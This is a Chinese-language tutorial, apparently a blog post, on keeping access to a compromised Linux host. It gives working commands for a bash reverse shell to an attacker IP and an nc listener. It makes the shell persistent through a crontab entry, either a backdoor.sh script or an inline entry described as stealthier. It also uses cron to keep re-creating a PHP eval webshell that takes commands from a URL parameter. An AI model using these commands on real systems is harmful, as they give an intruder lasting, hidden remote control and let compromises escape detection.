Linux下权限维持之利用Crontab定时任务反弹shell

一、简介

crontab 是 Linux 下的一个定时任务执行管理工具,类似于 Windows 下的计划任务,在目前所有的知名 Linux 发行版中,都会默认安装此服务工具,并且默认是开启状态。大致用法如下:

# 每1分钟执行一次command
* * * * * command

更多详细用法参考 crontab 命令以及crontab 定时任务这两篇文章,在这里只进行大致使用方法讲解。

二、反弹 shell

Linux 下的反弹 shell 顾名思义,其实指的是我们在自己机器上开启监听,然后在受害者机器上发送连接请求去连接我们的机器,将受害者的 shell 反弹到我们的机器上,也就是将受害者机器终端的输入输出全部反弹回我们的机器。
首先在攻击机器上执行如下监听命令:

# 在攻击机器上执行
# 监听来自所有连接 2333 端口的 IP
nc -lvp 2333

然后执行反弹 shell 命令:

# 在受害者机器执行
bash -i >& /dev/tcp/192.168.80.129/2333 0>&1
# -i 参数是获得交互式 shell
# 192.168.80.129 是攻击机器 IP

这样即可在攻击机器端获得反弹回来的 shell

三、权限维持

上面那个可以反弹回 shell 但是受害者一旦关闭当前终端,则会断开连接,不利于权限维持,所以我们需要使用 Crontab 定时任务不断连接我们的攻击机器。
Crontab 定时任务设置有两种方式,如下:

3.1 写入 sh 文件创建计划任务

新建 sh 文件

vim backdoor.sh

写入反弹 shell 命令:

bash -i >& /dev/tcp/192.168.80.129/2333 0>&1

设置为可执行文件:

chmod 777 backdoor.sh

添加任务计划

crontab -e
# 每分钟执行一次
* * * * * sh /root/backdoor.sh

保存退出,这样就创建好了一个定时任务,但是弊端就是有文件落地,比较容易被发现。

3.2 直接创建计划任务

添加任务计划

crontab -e
# 每分钟执行一次
* * * * * bash -i >& /dev/tcp/192.168.80.129/2333 0>&1

然后可以使用 crontab -l 查看任务计划,这样做起来比较隐蔽。一般来说在下一分钟就会立即执行计划任务,如果没有执行成功的话,可以重启一下 crontab 服务即可。

四、其他思考

在这种反弹 shell 的情况下是无法使用 vi 和 vim 编辑器的,如果我们想要写入文件我们此时应该是使用 echo 命令,比如下面我写一个一句话木马写入 abc.php

echo "<?php @eval($_GET['cmd']); ?>" >> abc.php

那么利用我们上面学到的定时任务权限维持是不是同样可以创建一个木马文件,让他一直存在,即使被删了,还会在计划任务中再次生成,完美,直接添加如下:

crontab -e
# 每分钟执行一次
* * * * * echo "<?php @eval($_GET['cmd']); ?>" > abc.php

需要注意的是这里使用的是 > 覆盖文件写入,避免文件体积太大。
>> 是追加写入,但是不好的地方就是容易使文件体积过大被发现。

五、参考引用

crontab命令:https://man.linuxde.net/crontab
crontab 定时任务:https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
Linux 下执行定时任务 crontab 命令详解:https://segmentfault.com/a/1190000002628040

发表评论

电子邮件地址不会被公开。必填项已用 * 标注